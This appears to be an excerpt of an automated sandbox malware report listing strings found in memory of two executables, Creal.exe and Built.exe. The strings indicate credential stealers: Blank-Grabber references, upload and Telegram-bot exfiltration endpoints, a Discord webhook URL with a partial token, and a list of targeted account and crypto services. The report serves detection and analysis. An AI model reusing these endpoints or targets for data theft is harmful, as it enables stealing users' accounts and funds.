Creal.exe, 00000002.00000003.2114552537.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2126323883.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2126323883.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: Creal.exe, 00000005.00000003.2376930636.00000203E8417000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2378648633.00000203E77F0000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000002.2425987536.00000203E8418000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2374358999.00000203E77E8000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2374144942.00000203E77BD000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000002.2418846015.00000203E77F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.firmaprofesional.com/cps0
Source: Built.exe, 00000004.00000002.2164052765.000002D966F30000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2180042849.00000203E790C000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2367740897.00000203E7970000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2369507770.00000203E7978000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: Creal.exe, 00000005.00000003.2374144942.00000203E77BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps
Source: Creal.exe, 00000005.00000003.2374144942.00000203E77BD000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2379853971.00000203E77CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps0
Source: Creal.exe, 00000005.00000003.2403845274.00000203E7B81000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2405592368.00000203E7B93000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2376890554.00000203E7B7E000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2373408012.00000203E7B2B000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2374098693.00000203E7B32000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2375135249.00000203E7B6F000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2360921736.00000203E7B21000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2372998084.00000203E7B21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.rfc-editor.org/info/rfc7253
Source: Creal.exe, 00000005.00000002.2426443481.00000203E8460000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2403845274.00000203E7B81000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2376137526.00000203E8430000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2380581302.00000203E8451000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2376742548.00000203E843A000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2376177154.00000203E8437000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2376890554.00000203E7B7E000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2373408012.00000203E7B2B000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2374098693.00000203E7B32000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2375135249.00000203E7B6F000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2360921736.00000203E7B21000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2372998084.00000203E7B21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.tarsnap.com/scrypt/scrypt-slides.pdf
Source: Creal.exe, 00000005.00000003.2376603648.00000203E7A06000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2414718488.00000203E7A52000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2365364395.00000203E7A06000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2379995792.00000203E7A2A000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2372527708.00000203E7A06000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2180042849.00000203E7A18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wwwsearch.sf.net/):
Source: Creal.exe, 00000005.00000003.2376603648.00000203E7A06000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2381741490.00000203E7A06000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2365364395.00000203E7A06000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2372527708.00000203E7A06000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2180042849.00000203E790C000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2405762243.00000203E7955000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2180042849.00000203E7A06000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2406137702.00000203E7A06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://yahoo.com/
Source: Creal.exe, 00000005.00000002.2425561292.00000203E8210000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://aliexpress.com)
Source: Creal.exe, 00000005.00000002.2425561292.00000203E8210000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com)
Source: Built.exe, 00000004.00000002.2163800806.000002D966E30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.anonfiles.com/upload
Source: Built.exe, 00000004.00000003.2126560706.000002D966CE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.anonfiles.com/uploadr
Source: Creal.exe, 00000005.00000002.2425561292.00000203E8210000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.gofile.io/getServer
Source: Built.exe, 00000004.00000003.2126560706.000002D966CE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.gofile.io/getServerr
Source: Built.exe, 00000004.00000002.2163800806.000002D966E30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: Creal.exe, 00000005.00000002.2425561292.00000203E8210000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://binance.com)
Source: Creal.exe, 00000002.00000003.2128050929.0000016B5EEB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blog.jaraco.com/skeleton
Source: Creal.exe, 00000005.00000002.2418146439.00000203E75A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/1068916221354983427/1074265014560620554/e6fd316fb3544f2811361
Source: Creal.exe, 00000005.00000002.2425561292.00000203E8210000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/avatars/
Source: Creal.exe, 00000005.00000002.2425561292.00000203E8210000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://coinbase.com)
Source: Creal.exe, 00000005.00000002.2425561292.00000203E8210000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://crunchyroll.com)
Source: Creal.exe, 00000002.00000003.2118844474.0000016B5EEB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cryptography.io
Source: Creal.exe, 00000002.00000003.2118844474.0000016B5EEB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cryptography.io/
Source: Creal.exe, 00000002.00000003.2118844474.0000016B5EEB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cryptography.io/en/latest/changelog/
Source: Creal.exe, 00000002.00000003.2118844474.0000016B5EEB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cryptography.io/en/latest/installation/
Source: Creal.exe, 00000002.00000003.2118844474.0000016B5EEB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cryptography.io/en/latest/security/
Source: Built.exe, 00000003.00000003.2108830553.00000124EBC30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: Built.exe, 00000003.00000003.2108830553.00000124EBC30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: Built.exe, 00000003.00000003.2108830553.00000124EBC30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0.
Source: Creal.exe, 00000005.00000002.2425561292.00000203E8210000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com)
Source: Creal.exe, 00000005.00000002.2425292105.00000203E8110000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/users/
Source: Built.exe, 00000004.00000002.2163568544.000002D966D30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/users/
Source: Built.exe, 00000004.00000002.2170655566.000002D967C30000.00000004.00001000.00020000.00000000.sdmp, Creal.exe, 00000005.00000002.2425292105.00000203E8110000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/webhooks/1304534397680357396/jwWT3Q8Ovv9Vvgd-RNJrwcYvcpgO5pbMYyd8C4eotXdFUJq
Source: Creal.exe, 00000005.00000002.2425561292.00000203E8210000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com/api/v6/users/
Source: Built.exe, 00000004.00000002.2163568544.000002D966D30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com/api/v9/users/
Source: Creal.exe, 00000005.00000002.2425561292.00000203E8210000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://disney.com)
Source: Built.exe, 00000004.00000003.2116490426.000002D966BCC000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000002.2162306766.000002D9667F0000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000003.2116652090.000002D966BAF000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2155572489.00000203E7522000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2160988388.00000203E74A5000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2371996192.00000203E74EA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2154911664.00000203E751D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64
Source: Built.exe, 00000004.00000002.2162140742.000002D96676C000.00000004.00001000.00020000.00000000.sdmp, Built.exe, 00000004.00000003.2115298415.000002D966871000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2143541325.00000203E70DD000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2143541325.00000203E70A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/howto/mro.html.
Source: Built.exe, 00000004.00000003.2113671751.000002D966818000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000002.2162140742.000002D9666F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename
Source: Built.exe, 00000004.00000002.2162140742.000002D96676C000.00000004.00001000.00020000.00000000.sdmp, Built.exe, 00000004.00000003.2113671751.000002D966818000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_code
Source: Built.exe, 00000004.00000002.2162140742.000002D96676C000.00000004.00001000.00020000.00000000.sdmp, Built.exe, 00000004.00000003.2113671751.000002D966818000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000002.2416156594.00000203E6E84000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_source
Source: Built.exe, 00000004.00000002.2162140742.000002D96676C000.00000004.00001000.00020000.00000000.sdmp, Built.exe, 00000004.00000003.2113671751.000002D966818000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.is_package
Source: Built.exe, 00000004.00000003.2113671751.000002D966818000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000002.2162140742.000002D9666F0000.00000004.00001000.00020000.00000000.sdmp, Creal.exe, 00000005.00000002.2416156594.00000203E6E84000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.create_module
Source: Built.exe, 00000004.00000002.2162519466.000002D966A30000.00000004.00001000.00020000.00000000.sdmp, Built.exe, 00000004.00000003.2113671751.000002D966818000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module
Source: Built.exe, 00000004.00000002.2162519466.000002D966A30000.00000004.00001000.00020000.00000000.sdmp, Built.exe, 00000004.00000003.2113671751.000002D966818000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches
Source: Built.exe, 00000004.00000002.2162140742.000002D96676C000.00000004.00001000.00020000.00000000.sdmp, Built.exe, 00000004.00000003.2113671751.000002D966818000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec
Source: Built.exe, 00000004.00000002.2161759749.000002D964E11000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000003.2113671751.000002D966818000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2406072986.00000203E702F000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2370381373.00000203E7029000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2372966606.00000203E702C000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000002.2416589166.00000203E7030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data
Source: Creal.exe, 00000002.00000003.2128050929.0000016B5EEB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.metadata.html
Source: Creal.exe, 00000005.00000003.2374846297.00000203E7403000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2371634055.00000203E7400000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2408743478.00000203E7412000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2370196877.00000203E73FF000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2377865155.00000203E7404000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2406506748.00000203E740D000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000002.2417653588.00000203E7413000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2407557591.00000203E740E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/multiprocessing.html
Source: Creal.exe, 00000002.00000003.2128050929.0000016B5EEB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/reference/import.html#finders-and-loaders
Source: Creal.exe, 00000005.00000002.2425561292.00000203E8210000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ebay.com)
Source: Built.exe, 00000004.00000003.2117292771.000002D966898000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000003.2124343269.000002D966898000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000003.2126609329.000002D966898000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000003.2123796536.000002D966898000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://en.wikipeT
Source: Creal.exe, 00000005.00000002.2425561292.00000203E8210000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://epicgames.com)
Source: Creal.exe, 00000005.00000002.2425561292.00000203E8210000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://expressvpn.com)
Source: Built.exe, 00000004.00000002.2170655566.000002D967C30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://foss.heptapod.net/pypy/pypy/-/issues/3539
Source: Creal.exe, 00000005.00000002.2425561292.00000203E8210000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://geolocation-db.com/jsonp/
Source: Creal.exe, 00000005.00000002.2416296519.00000203E6F10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://geolocation-db.com/jsonp/None
Source: Creal.exe, 00000005.00000002.2416296519.00000203E6F10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://geolocation-db.com/jsonp/NoneP
Source: Creal.exe, 00000005.00000002.2422504490.00000203E7CA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gist.github.com/lyssdod/f51579ae8d93c8657a5564aefc2ffbca
Source: Built.exe, 00000004.00000002.2163568544.000002D966D30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/Blank-Grabber
Source: Built.exe, 00000004.00000003.2126560706.000002D966CE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/Blank-Grabberi
Source: Built.exe, 00000004.00000003.2126560706.000002D966CE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/Blank-Grabberr
Source: Built.exe, 00000004.00000003.2125669838.000002D966CA9000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000003.2125383539.000002D967B3D000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000003.2124952613.000002D966CE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/BlankOBF
Source: Creal.exe, 00000005.00000003.2367740897.00000203E79A9000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2403089079.00000203E79F0000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2372527708.00000203E79E8000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2180042849.00000203E79BD000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2375579122.00000203E79E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Ousret/charset_normalizer
Source: Built.exe, 00000004.00000002.2161759749.000002D964E11000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000003.2113671751.000002D966818000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000002.2416504882.00000203E702A000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2370381373.00000203E7029000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2373805074.00000203E5623000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2373550866.00000203E5605000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2373218215.00000203E702A000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2378555215.00000203E5629000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2409846250.00000203E5638000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: Creal.exe, 00000002.00000003.2128050929.0000016B5EEB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/astral-sh/ruff
Source: Creal.exe, 00000005.00000002.2423537935.00000203E7DC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/jaraco/jaraco.functools/issues/5
Source: Creal.exe, 00000005.00000003.2411511224.00000203E7B17000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2372998084.00000203E7B17000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2388738513.00000203E7B17000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000002.2420552762.00000203E7B19000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2377385278.00000203E7B17000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2360921736.00000203E7B17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/psf/requests/pull/6710
Source: Creal.exe, 00000002.00000003.2118844474.0000016B5EEB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography
Source: Creal.exe, 00000002.00000003.2118844474.0000016B5EEB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/
Source: Creal.exe, 00000002.00000003.2118844474.0000016B5EEB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/actions?query=workflow%3ACI
Source: Creal.exe, 00000002.00000003.2118844474.0000016B5EEB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/issues
Source: Creal.exe, 00000002.00000003.2118844474.0000016B5EEB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/workflows/CI/badge.svg?branch=main
Source: Creal.exe, 00000005.00000002.2422504490.00000203E7CA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pypa/packaging
Source: Built.exe, 00000004.00000002.2162140742.000002D9666F0000.00000004.00001000.00020000.00000000.sdmp, Creal.exe, 00000005.00000002.2416156594.00000203E6E84000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: Creal.exe, 00000005.00000003.2409846250.00000203E5638000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: Built.exe, 00000004.00000002.2161759749.000002D964E11000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000003.2113671751.000002D966818000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000002.2416504882.00000203E702A000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2370381373.00000203E7029000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2373805074.00000203E5623000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2373550866.00000203E5605000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2373218215.00000203E702A000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2378555215.00000203E5629000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2409846250.00000203E5638000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: Built.exe, 00000004.00000003.2139013017.000002D966BF9000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000003.2128966151.000002D9673AA000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000003.2128966151.000002D96734F000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000003.2130110803.000002D966C89000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000002.2162686689.000002D966BF9000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2156593481.00000203E73D2000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2381564698.00000203E70F7000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2371187590.00000203E70E9000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2156527653.00000203E781F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/issues/86361.
Source: Creal.exe, 00000002.00000003.2128050929.0000016B5EEB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/importlib_metadata
Source: Creal.exe, 00000002.00000003.2128050929.0000016B5EEB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/importlib_metadata/actions/workflows/main.yml/badge.svg
Source: Creal.exe, 00000002.00000003.2128050929.0000016B5EEB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/importlib_metadata/actions?query=workflow%3A%22tests%22
Source: Creal.exe, 00000002.00000003.2128050929.0000016B5EEB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/importlib_metadata/issues
Source: Built.exe, 00000004.00000002.2173551673.000002D967E38000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/importlib_metadata/wiki/Development-Methodology
Source: Built.exe, 00000004.00000002.2161759749.000002D964E11000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000003.2113671751.000002D966818000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000002.2416504882.00000203E702A000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2370381373.00000203E7029000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2373805074.00000203E5623000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2373550866.00000203E5605000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2373218215.00000203E702A000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2378555215.00000203E5629000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2409846250.00000203E5638000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: Built.exe, 00000004.00000002.2170655566.000002D967C30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963
Source: Built.exe, 00000004.00000002.2166572462.000002D967330000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2389785541.00000203E78D7000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2373660739.00000203E78CF000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2376802757.00000203E78D5000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2180042849.00000203E7811000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2379514476.00000203E78D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.
Source: Built.exe, 00000004.00000002.2173551673.000002D967E54000.00000004.00001000.00020000.00000000.sdmp, Built.exe, 00000004.00000002.2162686689.000002D966B30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2920
Source: Built.exe, 00000004.00000002.2171255511.000002D967D94000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/3290
Source: Creal.exe, 00000005.00000002.2425561292.00000203E8210000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gmail.com)
Source: Built.exe, 00000004.00000002.2162686689.000002D966B30000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000002.2164052765.000002D9670DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: Built.exe, 00000004.00000003.2138293820.000002D9670DB000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000002.2162686689.000002D966B30000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000002.2164052765.000002D9670DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/mail
Source: Built.exe, 00000004.00000002.2164052765.000002D96704A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/mail/
Source: Built.exe, 00000004.00000002.2163800806.000002D966E30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gstatic.com/generate_204
Source: Creal.exe, 00000005.00000002.2425561292.00000203E8210000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://hotmail.com)
Source: Built.exe, 00000004.00000002.2164052765.000002D9670AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/multipage/
